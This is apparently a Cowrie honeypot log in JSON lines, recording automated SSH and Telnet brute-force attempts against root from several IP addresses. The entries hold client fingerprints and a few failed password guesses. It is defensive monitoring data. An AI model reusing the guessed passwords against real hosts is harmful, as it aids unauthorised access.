{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:dd:af:3c:5e:2d:76:b9:84:64:aa:22:89:73:63:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCutHyx040A0ahQkP9Eb7Pb1W8MrkiXqnzxZt5F9NRX8qLufQ8p4Mh7d49guRdAbULcwGI0B4ZpGjeM1vkBJJoWpePLyOX3ruDGT9wZXjupfUC6MavyJBYNfpEhtsyfTwlyiqxIrCAUVSGJvaL94D8PxXCNocyxVxTDc/qPVSqBESEGuQ2u10rqwcy66WRoEvDeEtS6clEV/esP5PNWnJ4tonnHYv16TgZmTnQAfCsKFg52U1SFXDhwRc6i2SAQEwxNOpAkUzggI9jvhTgrW9fVVWcLmG3joxGttXEGweKhu2vbq51/Ff2QD1zvfRhdpSQCWV2mH42BHyA/3qJZ9jlF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:dd:af:3c:5e:2d:76:b9:84:64:aa:22:89:73:63:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.099237Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:dd:af:3c:5e:2d:76:b9:84:64:aa:22:89:73:63:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCutHyx040A0ahQkP9Eb7Pb1W8MrkiXqnzxZt5F9NRX8qLufQ8p4Mh7d49guRdAbULcwGI0B4ZpGjeM1vkBJJoWpePLyOX3ruDGT9wZXjupfUC6MavyJBYNfpEhtsyfTwlyiqxIrCAUVSGJvaL94D8PxXCNocyxVxTDc/qPVSqBESEGuQ2u10rqwcy66WRoEvDeEtS6clEV/esP5PNWnJ4tonnHYv16TgZmTnQAfCsKFg52U1SFXDhwRc6i2SAQEwxNOpAkUzggI9jvhTgrW9fVVWcLmG3joxGttXEGweKhu2vbq51/Ff2QD1zvfRhdpSQCWV2mH42BHyA/3qJZ9jlF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.103017Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"24:fd:0f:f9:f0:01:7d:c3:e0:4d:f0:dc:7e:29:de:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLKbtHG3nVrAMrCfJxhbFV/4lIrNtWIt3t23ITzQGcehUzRmVxS4RAFietp2kyM7FeWAMufnc+f3KUqkQelpCEgreAqCaiNY82S69TSqmcbOjyJtouQQan5vXerXz6HxB3R9fSfJg//yvn++8wXOkAsoWkj+RUytvzf/uMB3AY6LGskFHS1fnsOFY7rhc4ci7yFEQRMbIueeDOPubr7KfEKnnun76eWaD4qgqNVvuiqzWddok+VqP/xd0eLNv+Dy76qELNSQTmqYpWY/X/mk1Zaae4L1pmJwLP35u2+ix1B4DgqUEMpl2+27O2abCi/HjD5iROh/+ARqCj2L0deINVpHdKV+b2jiD/KmoPAIbGRt5guurckxmLf5Bc6C5No0JTQDj3Qh96Gv+/qFLW43o9K6V+Cdfxfy7tBHJpbwYWpCjWiQoAP2cPZ4ilg/NZcuQZDNyeEtI1xtOhhcVe3HgJD/5kUPp8685C7FidBuJbkv9gDhrSWvNzn3WNKHJuflYCNO5WASVsoueZCQRP4jZjho8kcpvPIUSqjoEAy6FQ/aSRyUUpR8V099dqtoRM4epubVMZ2Ln6FDImWJuFmnnVxV67phFO9bn6GcZueVhMHHr1lJXcTPsdH784OME17w2JMybV4ZFysBL6P389zH9QEp0EltRxEcCf9QQerUKD0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 24:fd:0f:f9:f0:01:7d:c3:e0:4d:f0:dc:7e:29:de:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.178994Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"24:fd:0f:f9:f0:01:7d:c3:e0:4d:f0:dc:7e:29:de:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLKbtHG3nVrAMrCfJxhbFV/4lIrNtWIt3t23ITzQGcehUzRmVxS4RAFietp2kyM7FeWAMufnc+f3KUqkQelpCEgreAqCaiNY82S69TSqmcbOjyJtouQQan5vXerXz6HxB3R9fSfJg//yvn++8wXOkAsoWkj+RUytvzf/uMB3AY6LGskFHS1fnsOFY7rhc4ci7yFEQRMbIueeDOPubr7KfEKnnun76eWaD4qgqNVvuiqzWddok+VqP/xd0eLNv+Dy76qELNSQTmqYpWY/X/mk1Zaae4L1pmJwLP35u2+ix1B4DgqUEMpl2+27O2abCi/HjD5iROh/+ARqCj2L0deINVpHdKV+b2jiD/KmoPAIbGRt5guurckxmLf5Bc6C5No0JTQDj3Qh96Gv+/qFLW43o9K6V+Cdfxfy7tBHJpbwYWpCjWiQoAP2cPZ4ilg/NZcuQZDNyeEtI1xtOhhcVe3HgJD/5kUPp8685C7FidBuJbkv9gDhrSWvNzn3WNKHJuflYCNO5WASVsoueZCQRP4jZjho8kcpvPIUSqjoEAy6FQ/aSRyUUpR8V099dqtoRM4epubVMZ2Ln6FDImWJuFmnnVxV67phFO9bn6GcZueVhMHHr1lJXcTPsdH784OME17w2JMybV4ZFysBL6P389zH9QEp0EltRxEcCf9QQerUKD0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.181480Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"81:0b:0b:2c:3d:e4:41:16:08:6e:93:16:67:94:0c:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKi02OXqaOc+2E9nKC6m2Fz6HybixDxQJmP/1Bir9dAp3h1L1te426O+vp09vzNUBjq+xAl79mLkvJjau2AZjzjkhJp46G+1hCWqIsR7i2R3FmxTvhI68CUZauB/T77J4vI+aQhhupayr0TzywJxSJ/JGSueEGK7OPp/IFfTyPg84lzgG8fjQ9fvPEf9v2GAC6Rmy50SDUGQRQo3c15lC487CQnJ2Tsdlh3WqIb0fVMdBv1DDkRBFomArxNWZBdOr2UHNdveOO/1kD6rskDboI3BU0KgIBwiyLweknjzsLsXma+Rw7RVCj8uQGHUhrLu5/hxweza1bkuHt6f6lkGu/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 81:0b:0b:2c:3d:e4:41:16:08:6e:93:16:67:94:0c:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.264101Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"81:0b:0b:2c:3d:e4:41:16:08:6e:93:16:67:94:0c:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKi02OXqaOc+2E9nKC6m2Fz6HybixDxQJmP/1Bir9dAp3h1L1te426O+vp09vzNUBjq+xAl79mLkvJjau2AZjzjkhJp46G+1hCWqIsR7i2R3FmxTvhI68CUZauB/T77J4vI+aQhhupayr0TzywJxSJ/JGSueEGK7OPp/IFfTyPg84lzgG8fjQ9fvPEf9v2GAC6Rmy50SDUGQRQo3c15lC487CQnJ2Tsdlh3WqIb0fVMdBv1DDkRBFomArxNWZBdOr2UHNdveOO/1kD6rskDboI3BU0KgIBwiyLweknjzsLsXma+Rw7RVCj8uQGHUhrLu5/hxweza1bkuHt6f6lkGu/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.268665Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.345798Z","src_ip":"104.248.177.83","session":"cdcc08a2dd75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.149670124053955,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:03.638012Z","src_ip":"170.64.224.25","session":"319e3db29a5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0098967552185,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:12.822387Z","src_ip":"170.64.224.25","session":"6baaf7e4acd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58906,"dst_ip":"159.203.135.109","dst_port":23,"session":"718ca5228379","protocol":"telnet","message":"New connection: 170.64.224.25:58906 (159.203.135.109:23) [session: 718ca5228379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:21.183086Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":44648,"dst_ip":"159.203.135.109","dst_port":22,"session":"0dd551f25068","protocol":"ssh","message":"New connection: 181.218.9.86:44648 (159.203.135.109:22) [session: 0dd551f25068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:21.504519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:21.508598Z","src_ip":"181.218.9.86","session":"0dd551f25068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:21.655965Z","src_ip":"181.218.9.86","session":"0dd551f25068","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bszxd352*2q8b","message":"login attempt [root/bszxd352*2q8b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:22.268054Z","src_ip":"181.218.9.86","session":"0dd551f25068","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:23.416798Z","src_ip":"181.218.9.86","session":"0dd551f25068","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":47452,"dst_ip":"159.203.135.109","dst_port":22,"session":"da5b6d8930b8","protocol":"ssh","message":"New connection: 101.126.22.12:47452 (159.203.135.109:22) [session: da5b6d8930b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:26.624934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:28.015941Z","src_ip":"101.126.22.12","session":"da5b6d8930b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:28.018839Z","src_ip":"101.126.22.12","session":"da5b6d8930b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.61.233.105","src_port":59388,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfdbc1681b27","protocol":"ssh","message":"New connection: 202.61.233.105:59388 (10.17.0.5:22) [session: cfdbc1681b27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:39.185285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:39.189708Z","src_ip":"202.61.233.105","session":"cfdbc1681b27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:39.284969Z","src_ip":"202.61.233.105","session":"cfdbc1681b27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@k3r$M@st3r@P@ss","message":"login attempt [root/M@k3r$M@st3r@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:39.571677Z","src_ip":"202.61.233.105","session":"cfdbc1681b27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:40.670244Z","src_ip":"202.61.233.105","session":"cfdbc1681b27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":42708,"dst_ip":"10.17.0.5","dst_port":22,"session":"50ffdfe86ecb","protocol":"ssh","message":"New connection: 103.153.68.219:42708 (10.17.0.5:22) [session: 50ffdfe86ecb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:40.702910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:40.707217Z","src_ip":"103.153.68.219","session":"50ffdfe86ecb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:40.949581Z","src_ip":"103.153.68.219","session":"50ffdfe86ecb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147852s","message":"login attempt [root/147852s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:41.677173Z","src_ip":"103.153.68.219","session":"50ffdfe86ecb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:42.919095Z","src_ip":"103.153.68.219","session":"50ffdfe86ecb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":34722,"dst_ip":"10.17.0.5","dst_port":22,"session":"023d424e4693","protocol":"ssh","message":"New connection: 95.130.227.33:34722 (10.17.0.5:22) [session: 023d424e4693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:49.475176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:49.478880Z","src_ip":"95.130.227.33","session":"023d424e4693","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:49.643354Z","src_ip":"95.130.227.33","session":"023d424e4693","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwlamea","message":"login attempt [root/pwlamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:50.335504Z","src_ip":"95.130.227.33","session":"023d424e4693","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:10:51.502599Z","src_ip":"95.130.227.33","session":"023d424e4693","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":34608,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbaeb5909291","protocol":"ssh","message":"New connection: 38.93.206.2:34608 (159.203.135.109:22) [session: cbaeb5909291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:03.008712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:03.013337Z","src_ip":"38.93.206.2","session":"cbaeb5909291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:03.063389Z","src_ip":"38.93.206.2","session":"cbaeb5909291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"war123","message":"login attempt [root/war123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:11:03.217331Z","src_ip":"38.93.206.2","session":"cbaeb5909291","protocol":"ssh"}
